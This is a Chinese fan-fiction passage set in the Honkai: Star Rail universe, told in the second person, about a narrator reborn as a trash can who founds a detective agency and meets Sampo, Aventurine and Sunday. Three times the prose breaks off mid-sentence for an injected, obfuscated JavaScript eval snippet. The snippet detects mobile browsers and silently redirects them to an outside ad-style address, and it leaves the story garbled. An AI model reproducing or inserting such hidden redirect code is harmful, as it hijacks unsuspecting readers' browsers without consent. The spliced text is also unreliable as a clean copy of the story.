《[星穹铁道]从垃圾桶开始的成神之路》 1. 了不起的塔塔洛夫 你是一个垃圾桶。 平平无奇,毫无可取之处。 如果硬要说有的话,比起以往大街上那些随处可见的垃圾桶,你还有强壮有力的四肢。虽然没有五官,但是能看能听能闻……呃估计也能吃。但这些放在现在这个世界里,似乎也没什么稀奇的。 因为,你的周围有一群你这样的垃圾桶。与你不同的是,它们朝气蓬勃,宛若此时正在徐徐上升的太阳。此时,它们正吭哧吭哧地往一个方向跑着,不知道要去往哪里。 抛洒的汗珠在明媚的阳光下反射出七彩的光芒,散发着勤劳努力勇敢的芬芳。 你初来乍到,本着尽快熟悉环境的原则,怀着好奇心外加独属于新人的清澈愚蠢的气质追了上去。 但是嘛,你现在可是垃圾桶。毕竟初为垃圾桶,一时之间还不能适应这副躯体。 很正常的事情嘛,对不对。 你很不幸地摔了个大趔趄。不等站起来,便再次不幸地被踩了好几脚。 很正常的事情嘛。 要是怕被嘲笑你直说不就得了。 闭嘴!这句不许放进来! 啊,言归正传。你不想爬起来,本着在哪里跌倒就在哪里躺会儿的原则,你说出了一句至理名言。 就这样吧,毁灭吧。 你顺着地势一滚,本想直接倒下睡懒觉。然而你忘记了自己如今是垃圾桶,这么一滚不仅起不到任何摆烂的作用,反倒像是按了快进键一般直接往前冲去。 啊啊啊啊啊啊啊啊。 小宇宙要爆发啦! 在你跌倒时没有一人……哦抱歉忘记了,在你跌倒时没有一桶为你驻足停留,而与之形成鲜明对比的是,此刻大家都目瞪口呆地看着你挥舞着四肢,咿咿呀呀地冲了下来。 像是被按下了暂停键,大家甚至都忘记了躲避。 砰—— 碰撞的瞬间,你面无表情地想。 哦,原来垃圾桶之间的对对碰能发出这么响的声音。 伴随着几声桶间的碰撞,前面几个垃圾桶皆被你撞倒,然后和你一起开始了小宇宙爆发之路。仿佛多米诺骨牌效应般,越来越多的垃圾桶加入了你们的行列。 高速旋转中,你的大脑……哦不对你没有大脑,欸不管啦反正知道什么意思就成。在身体的高速旋转过程中,你的大脑也在高速运转。 虽然还是一如既往地想不出任何东西,但是起码脑子还能转不是吗。当个人的时候脑子生锈得厉害,没想到成垃圾桶了脑子倒是转起来了。 这究竟是一种幸运还是不幸呢。 难道你生来就是当垃圾桶的命运? 这话,你可不太敢苟同。 好啦,言归正传。当你带领着一群垃圾桶轰轰烈烈以迅雷不及掩耳之势的速度冲向那站在高处正在振臂呐喊的金色垃圾桶时,你的心情可谓是血流成河。 欸垃圾桶也有心情吗? 划掉,这句不许放在正文里。 垃圾桶当然也有心情! 啊。 你抓了抓并不存在的头发。 横竖不管如何,吾命休矣! 要死啊。 这金色的垃圾桶一看就是领导级别的人物,连颜色都这么耀眼。在阳光如此清澈的一个早晨,人家正在进行振奋人心的演讲,鼓舞一下开工就死气沉沉的废物垃圾桶小点心。 多么好的领导!换作旁人,怕是早就破口大骂了吧。 什么你们这群垃圾这些话人家是断断不会说的! 然而就是这么一个特别人性的领导,居然如此轻易就被你这么一个平平无奇而且还灰不溜秋的家伙给砸晕了,口吐白沫外加人事不省。 不会要你负责吧。 你战战兢兢地从那金色垃圾桶上下来。跟你一起闯祸的早就屁滚尿流跑掉了,只有你还停留在原地准备为闯下的祸买单。 唉。 没有办法。 祸是自己闯下的,哪怕是即刻被开除垃圾桶籍,你也得留下来负责。 一桶做事一桶当。 即使要做垃圾桶,咱也要做个好垃圾桶。 你又是掀桶盖又是扇桶身的。 金色垃圾桶还没醒,你却早已玩上了瘾。 哐哐的砸桶声不绝于耳。 下面的垃圾桶瞠目结舌地看着你,甚至要忘记了给你鼓掌。良久,才有几声细细碎碎的。然而随着你越发大力地砸桶,拍巴掌的声音逐渐热烈起来,堪称震碎鼓膜四个大字。 不知道过了多久,那金色的垃圾桶才悠悠醒转,不由分说便推了你一下,随即破口大骂。 “你们这群连垃圾都不要的垃圾桶,想造反呐!” 声音不大,却很有气势。那是一种与生俱来的自信,无论何种境地何种境况都能怒吼出声。那是你这种平平无奇的垃圾桶无法比拟的,无论过了多长时间都无法弥补的一种缺憾。 你被骂得愣了愣,随即下意识便想要顺从。 然而这也是自诞生那刻起便刻在骨子里的,亦或是从小便耳濡目染的。无论用多少油漆将你的桶身涂成金色或是银色,在面对这种人的下意识的那种反应,是无法规避的。 下面的垃圾桶很明显抱了和你同样的想法,鼓掌声夏然而止。你却像是被当众扇了一巴掌似的,莫名心里有点儿火气。 金色垃圾桶还在继续输出。 他在玩火。 唾沫星子都要喷到你身上了,手指头也快要戳到你:“没有上马嚼子,你们就该感恩戴德了!竟然不思感恩,妄图……啊!” 这位金色仁兄的话还没说完,便被你一脚踹下了台。 金色的桶身在温暖的阳光下划出一道优美的弧线,于湛蓝色的天幕下留下极其浓墨重彩的一笔。 你还维持着踢飞桶的姿势。 随着一道落水的声音,底下顿时爆发出尖锐的欢呼声。 你在欢呼声中缓缓收脚,然后摆出一个极为冷酷的表情。 哼。 串戏了有木有。 此处哈努兄弟有话说。 然而表情维持不了三秒便露馅了。 你突然好困。 是的,大好时光,合该是用来睡觉的。年轻的身体,拿来做什么都事半功倍。 有了上一次的经验,你不再是倒头就睡,而是将手脚悉数缩进了身体里。 这是一种什么睡姿。 蹲着?坐着?站着? 你突然想起,马好像就是站着入睡的。 宝了个贝的! 你愤愤地想。 当垃圾桶也改不了牛马的命运。 然而下面那群垃圾桶却不肯放过你,直接冲上台来将你高高举起。 诶诶诶做什么做什么? 你被它们高高举着进入一座极为……破败的宫殿,但依旧能看出昔日的辉煌。年久失修的柱子上还刻有极为精致的花纹,像是古代帝王的图腾。积了灰的墙壁角落里落满了蜘蛛网,但依稀还能看出上面有历史感厚重的壁画。 宫殿的中央有个一看就经过精心擦拭的王座,已经露出层层掩盖之下的金碧辉煌。 你被推上了王座,桶身在光滑的王座上打了个转儿后慢悠悠停下。一群垃圾桶在底下高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197751|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼:“塔塔洛夫,万岁万岁万万岁!” 塔塔洛夫什么鬼。 你从心底里十分以及极其不认可这个名字。 无名无姓,平平无奇,大力出奇迹。 这才是你。 你正想清一清嗓子,谢绝它们的好意。然而还没等开口,外面便传来了爆炸声。 这座欲倾不倾的宫殿终于在众桶的万般不愿下塌陷了将近一半。 “塔塔洛夫来了!快跑啊!” 塔塔洛夫什么鬼。 极其强烈的责任感作祟,你觉得应该出去看一看。不曾想,这一出门便看到了极为罕见的一幕。 一张又哭又笑的面具漂浮在半空中,脸颊的旁边伸出两条触手,肆意地投掷着炸弹。垃圾桶们都被炸得四处逃窜,然后……统统躲在了你的身后。 得,看来得硬上了。 打肿脸充胖子也在所不惜。 不过贱命一条,与其整日被别人惦记着,不如尽早交了。人间……哦不垃圾桶间有什么好留恋的。 你捏了捏拳头,要是还有脖子晃晃脖子也行,可惜没有。便只能作罢,热身到此结束。 你以百米冲刺的速度向那张半哭不笑的面具。那面具也发现了你的意图,直接将火力对准了你。 然而,你身手敏捷,动如脱兔,身轻如燕。区区炸弹,如何能奈何得了你。 几个极其漂亮的闪躲在空中炫出了风采。 眼见离那张面具愈来愈近,你便直接出拳! 哈—— 画面仿佛在此刻静止。不知为何,你竟从那张半哭不笑的面具里看到了一位蓝发绿眸的男人。看破真身的同时,那张与你决战的面具也消失不见。 事情在你一脸懵逼的时候,结……结束了? 你不可思议地收回了拳头。 身后顿时响起响彻天际的欢呼声。与此同时,那已经塌陷了将近一半的宫殿终于完成了它光荣的使命,完全倾倒了。 开局成为垃圾桶王,但依旧从零开始。 你痛定思痛,站上已经倾倒的宫殿,振臂高呼。 “我们虽然是垃圾桶,但我们不是垃圾!” “不是垃圾!” 垃圾桶们响应你的号召,开始重新修葺宫殿。你则坐在废墟上,内心深处倏然间有些空虚。看着周遭破败的一切,除却高空之上的艳阳,没有什么东西称心的。 宫殿修好了能如何,能改变一贫如洗的现在吗。如何另谋出路,不再只装垃圾。 你托着腮思考。 垃圾桶随处可见,实在没有稀奇出彩的地方。但平平无奇这一点利用好了,说不准也能出其不意。 什么身份越看起来毫不起眼越能成功呢? 卧底? 但垃圾桶是没有立场的。 侦探? 欸这个不错。 你找了一块破旧的木板,以指为笔,极其郑重地写下“垃圾桶侦探社”四个大字,并且高悬宫门之上。 阳光不知何时已然照住了那块牌匾。 你叉着腰欣赏自己的杰作,同时有了下一步的打算。 想要有生意,便不能在这里等。这里只有破败不堪的垃圾场和随处可见的垃圾桶。为了一群嗷嗷待哺的孩儿们,你背起行囊,远走他方。待回归之际,必将是你们高光之时,到时要啥有啥。怀着一腔热血,你以打不死的小强精神整装待发。 垃圾桶们挥着手绢为你送行。 你挥挥小手,不流下一滴眼泪,“回去吧,别送了。” 幻视齐天大圣扎了个小木筏出海学艺怎么灰事。 2. 半哭不笑的面具 你在星际辗转各处,却到处碰壁,一腔热血也险些化为乌有。话说得太满,以至于现在无法下得来台。灰溜溜地回去,还不如一根绳子勒死了算。 唉声叹气完了之后,生活还是要继续的,你开始冷静分析如今的局势。 此时此刻,你名不见经传。即便磨破了嘴皮子,也很难取信于人。也是,没闯出点儿名堂来,别人也不知道你的本事。履历表上不好看甚至连履历都没有,谁会用你。如果有个经验丰富的侦探和你竞争,稍微用脚趾头想想也知道别人会选择谁。再者,侦探情报之类的事务,一般人也用不上。想要有生意,必须得与一些大人物接轨,而且还得打出名气来。 深思熟虑之下,你打算去往庇尔波因特——这里是星际和平公司的驻扎地。至于星际和平公司,那可是跨银河的商业巨鳄。现如今银河的金融体系,基本是公司一手建立起来的。可以说,如果想要闯出点儿什么来,找公司基本没准儿了。 不过可不要误会哈,你可不是要进入公司。虽说学习个几年再单飞也不迟,但且不说你如今一副灰不溜秋的模样,公司那光滑的大理石地板会不会接纳你。然即便是接纳了,你也不想一脚踏进公司的陷阱里——吃人肉不吐骨头的东西。 吃不到葡萄说葡萄酸(划掉)。 不过话说回来,好名声没有,坏名声还能没有吗。想要打出名气也不一定是加入公司,可以适当给公司找点儿小麻烦,让其手忙脚乱。这点儿闯祸技能你还是点满了的,不说搅得翻天覆地吧,起码也得掉一层皮不是。 别看公司拥有着全银河最为强大的金融体系,它的仇家也还是有不少的。什么星核猎手啦,什么某些巡海游侠啦等等之类的。倘若你能搅得公司不得安宁,这些与公司有仇有怨的人也能高看你一眼不是。 不管翻过来倒过去,怎么看,怎么琢磨,这趟庇尔波因特之旅你是非去不可了。 说干就干,打定主意,你便背起行囊,兴致勃勃地出发了。途中艰苦,不足为外人道也。来到这里后,你才发现庇尔波因特果然不愧是星际和平公司的所在地。 高楼大厦拔地而起,精致商品琳琅满目。夜晚的霓虹灯分外美丽,纸醉金迷的世界让人流连忘返。 满大街都是看起来西装革履的体面人,他们来去匆匆,即便是在地铁上也会掏出电脑工作。 你就像是刘姥姥进了大观园一般,对一切事物都新奇得不得了。望着望着,桶盖都不由自主地掉了下来,这一掉可不得了。什么富人不肯要的物质悉数丢进了你的身体,将你装得撑撑的。而这些东西,实在称不上垃圾二字,反倒是在以往的星球中会出现在富人身上的东西。 什么只用了二十天的名牌包啦,什么只戴了五六天的精致腕表啦,应有尽有。 不过才来几日,你的三观就已经悉数被打碎,然后被自己一点一点捡起,重新拼揍。 你总算是明白为何人人都向往公司了,哪怕是争得头破血流也在所不惜,哪怕只有万分之一的希望也有拼尽全力一试。 只是理想很是丰满,现实却太过骨感。虽然有句话说得好,穷则独善其身,达则兼济天下,但如今却是富人把控着社会上的大部分资源。他们过惯了富足的生活,从内心深处更为惧怕贫穷。于是,他们拼命压缩着穷人的生存空间,以换取自己的屹立不倒。 或是凭借自己的手眼通天的能力释放虚假信息,多数人不明真假,一股脑扎了进去,到头来却落得钱财两空。或是利用自己的特权将关系亲近之人塞进去,丰富自己的羽翼,形成更为稳固的关系网。 如此一来,留给穷人的机会便少之又少,只有极为出彩极为夺目才能入职公司。然而进去了也并不代表今后就能大富大贵。公司等级森严,金字塔一般罗列下来,压得底层员工喘也喘不过气。 这里纵然有林立的高楼大夏,角落处却亦有泔水腥臭。能看出一个城市一个星球如何的,基本是在垃圾桶里。 你的老毛病又犯了,又想长篇大论指点江山了,想些有的没的做什么。你把自己骂了一顿,一路打听着公司的地址一路赶来。 公司的大楼果然没有辜负你的期望,高耸入云,宛若巍峨的高山一般。但外表却有着别出心裁般的设计,中间偏上的位置像是一小块积木没有搭稳似的,看起来有些摇摇欲坠。 效果极为逼真,有些让桶望而却步。 但你还是硬着头皮磨磨蹭蹭到了公司的门口,然不过才稍稍靠近,正探头探脑地往里面张望时,几个公司的底层员工便来驱赶你了。 “什么品质的垃圾桶,也好意思在这里摆。” 呃。 这是上天派给你的考验吗。 为什么感觉这些员工一脸炮灰相,虽然装扮有些正式,看上去挺唬人的,但依旧像是给主角大显身手的。仅仅只是打他们一顿,就能出人头地吗。 这也太匪夷所思了。 愣神间,那些公司员工已经到了你的身前。他们都懒得触碰你的身体,脸上的表情极为嫌恶,直接伸出脚往前有一搭没一搭地踹着你。你忍气吞声了半晌,在笑脸迎人和拳脚相向中选择了后者。 你生来就是个暴脾气,但一再忍让只会再次把身体气炸。如此窝囊的死法,也就只有你能拥有此项殊荣。虽然这副垃圾桶的身体比肉堆成的身体耐造,但你再也不想克制了。 你忍无可忍,直接伸出强有力的四肢,一拳将他们打倒在地。完了,还狠狠地补了几脚。 笑话,你堂堂垃圾桶的武力值可不是盖的!即便是闻名寰宇的银河球棒侠,在防御值拉满的情况下,也受不住你几脚。更何况这些连银河球棒侠一个手指头都比不过的牛马! 想到牛马两字,你陡然间生出一股同情,气焰一下子没了大半。曾几何时,你也是与他们一同勤勤恳恳的牛马。干着最脏最累的活儿,但却拿着最为浅薄的工资。 罢了,曾为牛马,何况你也没受什么大罪。身为垃圾桶,被人踢来踢去也是常事了。没什么大不了的,你便想大发慈悲放他们一马。 正要离去之时,岂料那几个员工却不乐意了,“这年头真是活久见了,不过是个垃圾桶,居然敢抬手打人。来人呐,给我教训它!” 果然是一脸炮灰相,像个NPC似的就想给主角你点儿教训,不达目的誓不罢休。 不是,能编点儿不一样的情节吗。 你心底无能的咆哮无人理会。 哗啦一下子,你的身旁围上来了一大群人。个个凶神恶煞,拿着又长又尖的武器,蓄势待发地看着你。 你双手环胸,面露几分无奈。 不愧是公司养出来的员工。 既然如此,那便得罪了。 你潇洒地摊开手,摆出一副请人出招的姿势。但也仅仅只是客气罢了,不等他们反应过来,你便率先出拳,直接将面前的一个人打飞了出去。众人没料到你这么狠,一出手就直击鼻梁。稍微愣了愣后便冲了上来,慢慢缩小包围你的圈子。 正中你下怀。 本来你还担心这双腿比较短,一个扫堂腿扫不过来呢。然而事实证明,你终究还是想多了。这群员工也不是吃素的,他们直接亮出了武器,一齐捅向你,不过这对于身经百战的你来说,同样是小菜一碟。 哼。 你的口中再次发出一声极为冷酷的哼。 哈努兄弟已经疲惫了,无力再纠正你,只能苦笑表示你开心就好。一路走来,可怜的哈努兄弟已经适应了你但凡打架必然冷哼的神情,已经放弃了垂死挣扎。 回归正题。 又尖又长的武器刺在了你的身体上,你却毫发无伤。笑话,你这副身躯早就是刀枪不入了。寻常的武器怎会刺伤你半分! 那群员工也没料到如此状况,纷纷露出大惊失色的神情,但还是发挥了坚持不懈的精神,依旧要拼尽全力誓要将你捅穿。 脚下的土地已经被蹬出小土坑,那些武器也无法伤到你分毫,反倒是由于用力过猛生生将武器掰断了,武器头被反击到了他们自己的身上,疼得这些员工嗷嗷直叫。 哼。 你拍掉手上的灰尘,心底流露出一丝丝恃强临弱的愧疚感,但很快便被你生生抹去。正待离去,不想一辆极其拉风的流线型跑车吸引了你的注意。车门从左侧打开,一个金发青年踩着擦得铮光瓦亮的皮鞋走了下来。 你险些被亮瞎了钛合金狗眼。 分明是个男人,鼻梁上架着一副粉红色的墨镜却毫无违和感。白色的皮毛当成围脖挂在胸前,桃形的窗口裸露出大片白色的肌肤,灰白色的西装裤笔直地贴紧腿部。 这里的动静显然没引起这个男人的注意,只是摘下墨镜淡淡地往这边扫了一眼。而也正因如此,你也能够看清其瞳孔的颜色。如何形容呢,好像是几层色彩重复覆盖涂抹在一张纸上,然后轻轻在中间滴入一滴清水。色彩呈圆环状层层铺开,轮廓处还渲染有淡淡的水晕。 这是一双极其蛊惑的眸子,盯着看时,会不自由自主地陷进去。分明站在实地上,却禁不住摇晃打转。 似是感觉到了你的目光,那位金发青年再次往这边扫了一眼,但也很快移开。 果然,这种小打小闹引不起什么波浪。 你转身便走。 外面的天色已经黑了,一盏盏绚烂的灯纷纷亮起,比白天还有美丽几分。川流不息的街道上人群熙熙攘攘,摩肩擦踵。 分明身处热闹的地界,你却觉得有几分孤独。吹着凉凉的夜风,你将双手双脚缩进垃圾桶里,乖乖地窝在一个路灯下。 你最喜欢这个姿势,将自己悉数包裹住。或是因此,你今世才会变成一个垃圾桶吧。你收起不必要的思绪,分析着眼下的状况。 想给公司找麻烦,还是得在他们最在乎的金融体系上下手。推行另外一种货币取代信用点有些不现实,你也没有那么庞大的经济实力。即便连匹诺康尼这种有心想与公司抗衡的星球,到最后也只能在其半是威胁半是合作的情况下不得已让公司控股25%。 胳膊拧不过大腿,以你如今的实力,你能做些什么呢。就在你绞尽脑汁的时候,一张半哭不笑的面具冷不防出现在你面前。 “欸我说亲爱的,你终于肯把我放出来了。” 一道极其欠揍的男声。 “亲爱的?”顾不上这个被称作塔塔洛夫的面具怎么凭空消失又凭空出现的,你有些无语道:“现在的假面愚者都这么自来熟了吗?” 那张面具稍微一怔,随即为你竖起了大拇指:“不愧是你,伙计,居然能在瞬间就知晓我的身份。” “很好猜的好吧。”你无奈扶额,“除了一群寻欢作乐唯恐天下不乱的假面愚者,还有谁能和一个垃圾桶过不去。” “说得也有几分道理。”那张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197752|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面具抚了抚下巴,“不过你第一时间就把我识破还是很出乎我的意料的。” “是吗?还没问呢。”你伸手戳了戳眼前的面具:“这个表情怎么是半哭不笑的,到底有什么秘密。” “当然是因为我是有底线的寻欢作乐。”那面具颇为得意。 “哦。”你面无表情地应了一声:“是不是还得拍个巴掌鼓励一下呀。” “那倒不用。”面具有些激动地搓了搓手,语出惊人:“不过你若是想以身相许,我是不会介意的。” “……” 你有些怀疑自己的耳朵是不是出什么问题了,一巴掌朝面具拍上:“脑子瓦特了,一个垃圾桶,一个面具,就不考虑下生殖隔离吗。” 面具躲过你的一巴掌,却没半分不悦,反倒是言语间更为放肆:“亲爱的,我从来不知道你已经想那么长远了。” “……” 论脸皮厚,你应该是比不上这位假面愚者的。你觉得他不应该投奔在阿哈的阵营下,而是合该加入克里珀。这脸皮厚得,几锤子都敲不破。 许是见你半日没有说话,面具以为是他言语轻佻惹你生气了,便强硬扯开话题:“咳咳,自我介绍下,我是老桑博,请多多指教。” “……” 这话题扯得还不如不扯呢,怎么整得跟相亲似的。 你面无表情地抱了抱胳膊:“我没有名字。” “没有名字?那倒好办了,我就只能叫你亲爱的了。” “随便。”你顿了顿,问道:“为何以面具示人?” 桑博轻声叹了口气:“无奈之举,我受到了某种诅咒,恢复不了原身了。” 谁下的诅咒,真想鼓个掌。 这话你只是在心底过了一遍,没说出口。虽然这个老桑博差点儿把垃圾星炸穿,但现在他是唯一能陪你解闷的人了。插诨打科还行,触及到伤疤就不太好了。虽然这个老桑博看起来不像是会在意这些事情的人,脾气好得不得了,就算是你真的给他一拳,他估计也只会是一笑而过,然后继续嬉皮笑脸,但你是有自己的原则的。他可以不在意,你不能不在乎。 “不过——” 桑博的故意拖长腔成功拉扯回了你的思绪,他补充道:“你应该是我恢复原身的契机,和你对战之时,我曾有过短暂的显露真身。” 你想起来了。 难怪当时会看到一个蓝发绿眸的男人,原来如此。不过当时只是一闪而过,你没有好好看清楚罢了,还以为自己眼花了。但仅仅只是一眼,你也能看出这个叫桑博的长得极其不错。 你陡然间想到了自己,不由得考虑起来。 不知道你会不会解锁自己的人形体态,不知道在这个世界造物主会不会将你捏得好看些。 想到长相,你不由自主地想起了方才在公司门口看到的那个从车上下来的珠光宝气的青年。 桑博岂会看不出你的心思,不怀好意地笑了笑:“我说伙计,你该不会是看上那个叫砂金的总监了吧。” 原来他的名字叫砂金。 砂金石青翠欲滴。 那身装扮,倒真是符合这个名字,不过说起更为符合的,花枝招展的青孔雀当之无愧。 “你要是想找他,我倒是有个地方。”桑博神秘兮兮:“给你开个友情价,九九折。” 你捏了捏拳头。 “八……八折。” 你将拳头捏得咯吱响。 “五折……” 你的拳头就要落下。 “免费!” 你面无表情地收回了拳头。 桑博松了口气:“亲爱的,伙计,你这么暴力也不太好,没人会要你的。” 哼。 你堂堂垃圾桶,勾勾手指就有大把的美人前赴后继。 请把迷之自信打在公屏上(划掉)。 再者,你为什么要别人来要。 “走吧。” 你随手拿起桑博,戴在了自己的身上,努力营造出自己也有五官的样子。然而由于你的桶身太过宽大,桑博的身体被扯得有些痛。在他的嗷嗷叫唤中,你还是大发慈悲放了他一马。 然而取是取下来了,桑博却还是没停止叫唤。你有些过意不去,但做都做了,口头上的安慰也太假了,不如来些实惠的。想起桑博的真身一事,你便承诺道:“……恢复真身的事情,有什么需要的,尽管开口,义不容辞。” 此话一出,桑博立即不痛了,爽快应道:“亲爱的,一言为定,咱们击掌为誓。” “……” 不该心软的。 狡猾的男人。 “……还是别击掌了。”你有些头疼地开口。 “为什么?”桑博不明所以,“不会是想赖账吧。” 你:“……” 深吸一口气,你缓缓吐出两个字:“手痒。” 桑博:“……” 最后的最后,你们还是击了掌。虽然你已经尽力克制了力道,但老桑博还是被震得往后翻了几个跟头,他擦了擦唇角并不存在的鲜血,竖了竖大拇指道:“……真不会怜香惜玉呐。” “早说了的,偏不信。” 就在你与桑博吵嘴的时候,那辆极其拉风的流线型跑车又从面前经过,然后居然不可思议地停下了。车窗缓缓降下,露出砂金那张精致的面庞:“朋友,有兴趣聊聊吗?” 3. 意料之外的调酒师 你不知道你是怀着什么样的心情拒绝砂金的。按理说,有些不应该。当他出现的那一刻,仿佛世间的所有惊喜都如数降临。他拇指和食指摩挲的时候,大把的金币都尽数掉落。唇角勾着的那一抹肆意笑容,比整条街道上的灯光都耀眼。 你捧着残存青年体温的金币,思绪如潮。但你还是拒绝了他,并将洒落的金币都悉数奉还:“抱歉,砂金总监。” 你虽是垃圾桶,但绝不吃嗟来之食。而且毋庸置疑,砂金此时此刻看上的,并非是你身后的垃圾桶侦探社,而仅仅只是你的身手——他生得如此貌美,估计会很需要几个保镖。 望着他那双极其漂亮的眼珠,你险些就要答应了。但想起远在垃圾星嗷嗷待哺的孩儿们,你还是摇了摇头。 “是吗?” 砂金的神情露出一丝遗憾,搭在方向盘上的手指轻轻点着,受伤的眼神宛若某种小动物般。但你知道,他并非如表面那般伤心。 这人估计是做惯了这副模样,收放自如,恰到好处能让你瞧见并心软三分,又能及时收回换回那副略带笑意的模样。 “既然如此,我便不强人所难了。这是我的名片,如果改变主意,我随时恭候。” “不必了。”你还是拒绝了他。 如果说先前的拒绝砂金还不意外的话,那么这次便是意料之外的意料之外了。金发青年轻挑眉头,神情有些耐人寻味。 果然,这才是他的真实面目。 无论面对何种境况,他的脸上都能带着自信的笑容,看别人的眼神也如同猎人看猎物一般,等待着他们慢慢落网。显然此时此刻,你就是那只猎物。 “朋友,我方才与自己打了两个赌。” 这种事情有什么好赌的。 显然砂金没有听见你的心声,自顾自道:“第一个赌,我赌你会拒绝我的好意。显而易见,我赌对了。第二个赌,我赌你会接受我的名片。” 很明显,他赌错了。 “我从来没有输过赌局,更何况还是我自己设立的。”指尖轻轻在方向盘上敲着,砂金看向你,轻轻笑道:“朋友,你说该如何呢?” 按理说,你是没有义务让他赢的。赌赢一场,赌输一场,互相扯平。故而,互不相欠。 砂金轻轻点头,似乎很认同你的说法,也不多作纠缠,发动了车子,“朋友,有缘再见。” “人都走远了。” 桑博伸手在你眼前晃了晃,“既然这么在乎,刚才为什么故作清高。” 清高? 你才不清高。 清高的人在这个世道是没有活路的。 “地址。” “什么地址?” 眼见你又要亮拳头,桑博只能被迫想起来了,完了还抱怨道:“你这暴脾气,也就我不嫌弃你。好好珍惜吧,伙计,没了我你可就真的是孤家寡人了。” “嗯。” 桑博:“???” 桑博:“!!!” 你故作茫然:“有什么不对吗?” 桑博:“……” 这话桑博原本也没指望你能回答,他也就痛快痛快嘴。没想到你居然面不改色地承认了,完了还装作什么都不知道的样子,他也就只能干巴巴地补了一句:“……你知道就好。” “知道。”你深以为然。 这下桑博彻底没话说了,一路上都沉默寡言的。把你带到地方后,也一句话都没说,掀了你的桶盖躲进你身体去了。一套动作丝滑流畅,你都险些没发现这家伙已经躲起来了。 也罢,看来只能你单打独斗了。 面前这个灯红酒绿的地方是赌场?或者说是酒吧? 你双手环胸在外面看着里面狂欢的人群,险些生了落荒而逃的想法。不管是在哪里,你实在有些疲于应付人多的场合。七嘴八舌的,吵得桶头疼。 但来都来了,总不好什么都不做就离开。想了想,你还是硬着头皮走了进去。 赌场里面人来人往,到处都是吆喝声和掷色子的声音。欢呼声和痛骂声交替错杂,险些要将屋顶掀翻了。地上的瓜子壳洒得到处都是,在每个人都脚下被反复碾压。五颜六色的灯光乱七八糟地打在每个人的脸颊上,晦暗却又清晰地照出每个人的神情。或是洋洋得意,或是抱头痛哭。或是胸有成竹,或是汗流浃背。唯有一金发青年,有条不紊,似乎是输是赢,与他毫无干系。 这可和方才遇到的那个咄咄逼人的砂金有些许不同。 你在人群中游刃有余地移动,寻思着究竟如何才能让他留意到自己侦探情报之类的一面。然不等思考明白,你便看到有个喝得醉醺醺的男人从二楼下来,看起来似乎要吐的样子。你见势不好,急忙从他脚下跑过,蹭蹭上了二楼。 二楼倒不是赌场了,而是极其热闹的酒吧。吧台内有个酒红色头发的男人在调酒,灯光打在他的脸上时,你看到了尚未修整的胡渣。他似乎很是享受这份儿调酒的工作,神情懒散随意。无论面对什么客人,他都是这副神态。没有客人时,还饶有趣味地玩打火机,打火机还是那种较为老式的。打着了火也不抽烟,而是用手指勾弄着火焰,仿佛是他的玩物一般。 直觉告诉你,这个男人似乎不一般。 你从他的脸上移开视线,注意力放到旁边的舞池上。男男女女混在一起激情拥舞,悠扬的音乐环绕在他们周围。 你硬着头皮从舞池穿过,心底血流成河,有些不明白自己是来这里干什么的了。无论是人还是垃圾桶,你都从未来过这种地方,内心有些无所适从。 炸裂的音乐响在耳畔,晃眼的灯光闪瞎了狗眼,你如今只想逃离。然而才后撤几步,便好巧不巧地撞上了一个人的腿。 你迅速收了手脚,努力装作一个正常垃圾桶的模样。好在那人并未低头看你,而是依旧着眼于自己的钢琴之上。 骨节分明的手指轻轻按在琴键上,垂在肩膀上的灰白色耳羽轻轻颤着。蓝白相间的服饰将身体的曲线勾勒得一览无余,剪裁得恰到好处。 “他是星期日。” 桑博陡然间在你的脑海出声。 星期日? 他不是在匹诺康尼的谐乐大典之后就消失了吗?如今的匹诺康尼,还尚有他的通缉令。 桑博很满意你的这个反应,解释道:“这你就有所不知了,他其实并未消失,而是被家族秘密关押起来了,后来被石心十人的翡翠救走。当然,砂金也是石心十人之一。” 你古怪地看了桑博一眼。 “做什么?”桑博摸了摸鼻尖。 “不觉得你现在的定位有点儿像个系统吗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197753|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “呃……这个不重要,重要的是能帮到你,此乃我老桑博的荣幸。” 不知为何,你居然迅速脑补出了一个绅士的弯腰动作。 你叹了一口气,有些不解道:“我记得你当时和我说过,在匹诺康尼时,砂金与星期日是敌对的关系,甚至可以说是水火不容。你还说过,是翡翠将砂金带进了公司,这些年以来,如母如姐。但既然如此,翡翠又为什么要救星期日呢?” 桑博道:“伙计,你这就有所不知了。没有永远的敌人,只有永恒的利益。只要价格合适,利益诱人,没有什么是不能做的。这个世界,还需要你探索。” 好难呐。 不过才刚开始,你就有些心累了。这些大人物之间的事情,果然不是你可以理解的。但是想要你放弃,也不现实。 果然什么事情都不是一蹴而就的,不是喊喊口号就能完成的。 